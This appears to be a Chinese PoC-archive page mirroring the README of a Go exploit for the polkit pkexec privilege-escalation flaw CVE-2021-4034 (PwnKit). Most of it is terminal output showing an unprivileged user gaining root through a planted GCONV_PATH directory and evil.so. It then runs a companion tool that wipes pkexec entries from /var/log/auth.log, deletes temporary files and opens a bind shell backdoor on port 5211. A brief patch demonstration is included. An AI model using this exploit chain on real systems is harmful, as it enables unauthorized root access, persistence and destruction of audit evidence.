关联漏洞
标题:
polkit 缓冲区错误漏洞
(CVE-2021-4034)
描述:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则,实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞,攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后,如果目标计算机上没有权限的用户拥有管理权限,攻击可能会导致本地权限升级。
描述
A golang based exp for CVE-2021-4034 dubbed pwnkit (more features added......)
介绍
# PwnKit-go-LPE (CVE-2021-4034)
A golang based exp for CVE-2021-4034 dubbed pwnkit
``` bash
@@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@
@@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@
@@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @@! @@@
!@! @!@ !@! !@! !@! !@!!@!@! !@! @!! !@! !@! !@! !@! @!@
@!@@!@! @!! !!@ @!@ @!@ !!@! @!@@!@! !!@ @!! @!@!@!@!@ !@! @!@!@ @!@ !@!
!!@!!! !@! !!! !@! !@! !!! !!@!!! !!! !!! !!!@!@!!! !!! !!@!! !@! !!!
!!: !!: !!: !!: !!: !!! !!: :!! !!: !!: :!! !!: !!: !!!
:!: :!: :!: :!: :!: !:! :!: !:! :!: :!: :!: !:: :!: !:!
:: :::: :: ::: :: :: :: ::: :: :: ::: :::: ::::: ::
: :: : : : :: : : ::: : : :: :: : : : :
By lUc1f3r11
```
# New features
- dynamically pkexec path by just adding -pk arg
- bind shell backdoor
- /var/log/auth.log and pkexec tmp files clean
- written in pure go and using upx compressed volume
## build
- 
# Enjoy
1. run the pwnkit file to get root first
``` bash
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ whoami
kali
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ ./pwnkit
@@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@
@@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@
@@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @@! @@@
!@! @!@ !@! !@! !@! !@!!@!@! !@! @!! !@! !@! !@! !@! @!@
@!@@!@! @!! !!@ @!@ @!@ !!@! @!@@!@! !!@ @!! @!@!@!@!@ !@! @!@!@ @!@ !@!
!!@!!! !@! !!! !@! !@! !!! !!@!!! !!! !!! !!!@!@!!! !!! !!@!! !@! !!!
!!: !!: !!: !!: !!: !!! !!: :!! !!: !!: :!! !!: !!: !!!
:!: :!: :!: :!: :!: !:! :!: !:! :!: :!: :!: !:: :!: !:!
:: :::: :: ::: :: :: :: ::: :: :: ::: :::: ::::: ::
: :: : : : :: : : ::: : : :: :: : : : :
By lUc1f3r11
[+] Beginning exploit...
[+] mkdir 0755 GCONV_PATH=.
[+] chmod 0755 GCONV_PATH=./evildir
[+] mkdir 0755 evildir
[+] writefile 0755 evildir/gconv-modules
[+] writefile 0755 evildir/evil.so
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer),1000(kali)
# whoami
root
```
- 
see the tmp file and log file exists
- 
2. run bindshell file to clean /var/log/auth.log and pkexec tmp files and open a tcp bind shell
``` bash
# ./bindshell &
# [+] setting command exec path env
[+] cleaning /tmp/pkexec* files
[+] cleaning /var/log/auth.log pkexec logs
[+] cleaning /tmp/al
[+] open a bind tcp shell on port 5211
#
```
- 
- 
# vuln pkexec file and patched pkexec file avaliable to make your debug easier
- [vuln pkexec](./pkexec)
- [patched pkexec](./pkexec-good)
# vuln repair
``` bash
┌──(root💀kali)-[~/pwnkit]
└─# cp pkexec-good /usr/bin/pkexec
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ ./pwnkit
@@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@
@@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@
@@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @@! @@@
!@! @!@ !@! !@! !@! !@!!@!@! !@! @!! !@! !@! !@! !@! @!@
@!@@!@! @!! !!@ @!@ @!@ !!@! @!@@!@! !!@ @!! @!@!@!@!@ !@! @!@!@ @!@ !@!
!!@!!! !@! !!! !@! !@! !!! !!@!!! !!! !!! !!!@!@!!! !!! !!@!! !@! !!!
!!: !!: !!: !!: !!: !!! !!: :!! !!: !!: :!! !!: !!: !!!
:!: :!: :!: :!: :!: !:! :!: !:! :!: :!: :!: !:: :!: !:!
:: :::: :: ::: :: :: :: ::: :: :: ::: :::: ::::: ::
: :: : : : :: : : ::: : : :: :: : : : :
By lUc1f3r11
[+] Beginning exploit...
[+] mkdir 0755 GCONV_PATH=.
[+] chmod 0755 GCONV_PATH=./evildir
[+] mkdir 0755 evildir
[+] writefile 0755 evildir/gconv-modules
[+] writefile 0755 evildir/evil.so
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
```
# Reference
- [pkwner](https://github.com/kimusan/pkwner)
- [chenaotian/CVE-2021-4034](https://github.com/chenaotian/CVE-2021-4034)
- [The tale of CVE-2021-4034 AKA PwnKit, The 13-Year Old Bug](https://www.hackthebox.com/blog/The-tale-of-CVE-2021-4034-AKA-PwnKit-The-13-Year-Old-Bug)
- [PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034)
- [An00bRektn/CVE-2021-4034](https://github.com/An00bRektn/CVE-2021-4034)
- [dzonerzy/poc-cve-2021-4034](https://github.com/dzonerzy/poc-cve-2021-4034)
文件快照
[4.0K] /data/pocs/b6e9fe529a46ff7d35834c798fe3ee35b528882e
├── [1.6M] bindshell
├── [1.6K] bindshell.go
├── [4.0K] img
│ ├── [121K] 1.jpg
│ ├── [196K] 2.jpg
│ ├── [125K] 3.jpg
│ ├── [ 97K] 4.jpg
│ └── [ 88K] 5.jpg
├── [ 66K] pkexec
├── [ 23K] pkexec-good
├── [1.2M] pwnkit
├── [4.5K] pwnkit.go
└── [6.1K] README.md
1 directory, 12 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。